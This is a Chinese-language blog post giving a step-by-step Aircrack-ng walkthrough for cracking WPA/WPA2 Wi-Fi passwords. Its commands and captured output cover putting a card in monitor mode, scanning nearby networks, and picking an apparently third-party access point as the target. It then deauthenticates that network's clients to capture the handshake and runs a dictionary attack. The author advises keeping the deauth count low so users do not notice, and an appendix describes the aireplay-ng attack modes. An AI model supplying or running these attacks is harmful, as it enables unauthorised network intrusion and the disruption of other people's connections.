2015年1月21日 星期三

使用 Aircrack-ng 暴力破解 WPA/WPA2 加密 wifi 密碼

前言:

最近上映的黑帽駭客的發想來自於 2010 年的 stuxnet 在普遍還未有資安概念的時代裡,這隻 stuxnet 蠕蟲入侵了從軟體到硬體,並且為指向性攻擊,使得不易讓人發現

在大家都自以為是科技在都還在自己可以掌握的時候,出現了 stuxnet 其結構複雜到在當時以無法控制的地步,甚至造成核威脅

Ralph Langner: 破解21世紀的網路武器—-Stuxnet

這影片由 Ralph Langner 與其團隊在一個節目上發表在對抗 Stuxnet 時的演講,其讓我驚訝的程度遠遠超過想像。



 

 

廢話結束。

 

在無線加密分為 WEP、WPA、WPA2 其演進到現在卻也只是防君子不防小人,此篇紀錄並且也告知在網際網路的世界是沒有所謂的安全可言

但透過一些基礎的資安概念可以讓資安的程度提高一些。

 

 

在此使用 Aircrack-ng 來進行破解,並且使用 NB 環境(Ubuntu)使用既有的 wifi 網卡

 

setp.1 安裝 aircrack-ng
$ apt-get install aircrack-ng

 

 

setp.2 開啟網卡 wlan0 的 monitor 模式 *註1
$ airmon-ng start wlan0 


查看 ifconfig 多了一個 mon0

mon0 Link encap:UNSPEC HWaddr 00-08-CA-6A-EC-A1-00-00-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1
RX packets:8535345 errors:0 dropped:1242741 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3641110928 (3.6 GB) TX bytes:0 (0.0 B)

wlan0 Link encap:Ethernet HWaddr 00:08:ca:6a:ec:a1
UP BROADCAST MTU:1500 Metric:1
RX packets:163971 errors:0 dropped:0 overruns:0 frame:0
TX packets:42 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:27680648 (27.6 MB) TX bytes:6573 (6.5 KB)

 

 

setp.3 search 目前位置所有 AP 站台
$ airodump-ng mon0 


CH -1 ][ Elapsed: 1 min ][ 2015-01-21 03:39

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

64:66:B3:B1:D9:04 -21 700 0 0 11 54e. WPA2 TKIP PSK shazi
00:E0:4C:81:96:D1 -80 549 9 0 11 54e WPA2 CCMP PSK TOTOLINK_8196d1
80:1F:02:2D:65:7E -84 628 0 0 11 54 WPA TKIP PSK Edimax
10:6F:3F:5E:B6:10 -84 530 0 0 11 54e WPA2 TKIP PSK RAREJADE

BSSID STATION PWR Rate Lost Packets Probes

(not associated) E8:99:C4:A0:FF:F9 -78 0 - 1 16 9 shazi,super
(not associated) A4:DB:30:08:8C:7B -84 0 - 2 0 1
(not associated) 28:E3:1F:51:56:4D -86 0 - 1 0 16 v40077,amy,HTC Portable Hotspot,showlin246,TOTOLINK,MobileWiFi-678a,jackyaito
(not associated) 5C:FF:35:7A:FB:AF -89 0 - 1 0 9

目標選定為 TOTOLINK_8196d1 這個 AP,並且記下他的 mac address: 00:E0:4C:81:96:D1,頻道為 CH11

 

 

setp.4 使用 airodump-ng 開始收集封包
airodump-ng -w /tmp/wpatest -c 11 --bssid 00:E0:4C:81:96:D1 mon0

-w 會將封包結果輸出到 /tmp/wpatest

-c 為頻道 ch11

--bssid 為要監聽的 AP

最後我們使用 mon0 去收集 TOTOLINK_8196d1 的封包

 

 

setp.5 使用 aireplay-ng 來進行各項攻擊 *註2

原本的 Console1 不要關閉讓他繼續進行收集封包的作業,再新開一個 Console2 這是要來進行攻擊以利收集到我們想要的資訊。
$ aireplay-ng -0 10 -a 00:E0:4C:81:96:D1 --ignore-negative-one mon0 


03:54:23 Waiting for beacon frame (BSSID: 00:E0:4C:81:96:D1) on channel -1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
03:54:23 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:24 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:24 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:25 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:25 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:26 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:26 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]
03:54:26 Sending DeAuth to broadcast -- BSSID: [00:E0:4C:81:96:D1]

aireplay-ng 傳送假信號讓 AP 與 Client 之間進行互動,進而抓取中間的封包

-0 的攻擊模式是發送阻斷訊號,讓使用者誤以為與 AP 連線中斷而重新發出授權請求,由 airodump-ng 進而擷取需要的 arp 封包 (參數 10 代表攻擊10次,請斟酌數量,大量攻擊會讓使用者查覺到網路異常)

-a 為要攻擊的 AP mac

必要的時候系統會請你加入 --ignore-negative-one 參數

 

 

setp.6 從 setp5 收集到 4-way handshake
CH  11 ][ Elapsed: 1 min ][ 2015-01-21 04:00 ][ WPA handshake: C8:6C:87:2F:C4:7B 

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:E0:4C:81:96:D1 -80 54911 9 0 11 54e WPA2 CCMP PSK TOTOLINK_8196d1

注意在 Console1 會出現 WPA handshake : C8:6C:87:2F:C4:7B 代表有收集到 四方交握的封包,但為了保險起見 Data 的數量還是收集約萬筆以上

然後按下 Ctrl + C 中止封包擷取

 

 

setp.7 使用 aircrack-ng 進行解密
$ aircrack-ng -w password.lst /tmp/wpatest*.cap

-w password.lst 必須要擁有密碼字典檔,aircrack-ng 有內建陽春版的字典檔,其他可以去網路上 Download

cap 檔就是我們使用 airodump-ng 收集到的 arp 封包,可能會有數個,所以用 * 表示

 

 

setp.8 若是解密成功會 print 出 KEY FOUND! [  123456789  ]

密碼就是 123456789 囉!!

 

 

 

Note:

你的字典檔必須剛好有該密碼才能成功,網路上亦有提供非常大的字典檔

要擷取到 handshake 必須要你的網卡可以支援

必須要有使用者在使用 AP 才能從中進行一些手腳

 

 

 

結語:

可以看出在此篇範例關鍵在於你要有強大的字典檔,aircrack-ng 將字典檔內的密碼一筆一筆核對

WPA2 提供最高 63 位元長度的密碼,若是字典檔完整,被破解也只是時間上的問題。

另也有其他種的方式,改天在介紹。

 

 

 

 

*註1: 網卡必須支援 monitor 模式才能收集到 四向交握 (4-way handshake) 的封包

chipset support

 

*註2: aireplay-ng 攻擊模式

常用的 WPA 攻擊模式有 0 , 3







































--deauth count
-0 count
反授權攻擊模式:

對Client發送連線中斷訊息,從而使Client重新發出授權請求,再擷取其請求的封包,而產生有用的arp資訊。
count 是指執行阻斷的次數,如果設為 0 表循環攻擊,Client 將無法上網。
--fakeauth delay
-1 delay
偽裝請求授權模式:

當對AP進行攻擊,但沒有Client連到AP時,以致沒有封包產生,就會利用此法來讓AP產生封包。(只適用 WEP,不能用於WPA/WPA2)
(一個Console進行 fakeauth 攻擊,另一個console 就可以進行其他監聽或注入)
delay 是指每次重送授權請求的間隔秒數
--interactive
-2
互動模式:
具備封包擷取與封包注入功能
--arpreplay
-3
 封包重送模式:
擷取封包分析再重發的方式,目的在對AP產生足夠的請求,讓AP吐出更多封包以供 aircrack-ng 分析。
--chopchop
-4
 對 WEP 封包進行解密作業(不一定能成功)
--fragment
-5
 如果成功,可以得到1500字節PRGA(虛擬隨機產生演算法)
-6 Cafe-latte attack
利用擷取 client 發送的 ARP 封包,調整後再回送給 client 端,進而破解 WEP 的金鑰(只適於 WEP)
-7  Client-oriented fragmentation attac
Hirte attack,跟 -6 相同,只是不限於 ARP 封包,也可以利用 IP 封包
--test
-9
 測試目前有哪些AP,以及注入的成功率

 

Orignal From: 使用 Aircrack-ng 暴力破解 WPA/WPA2 加密 wifi 密碼

3 則留言: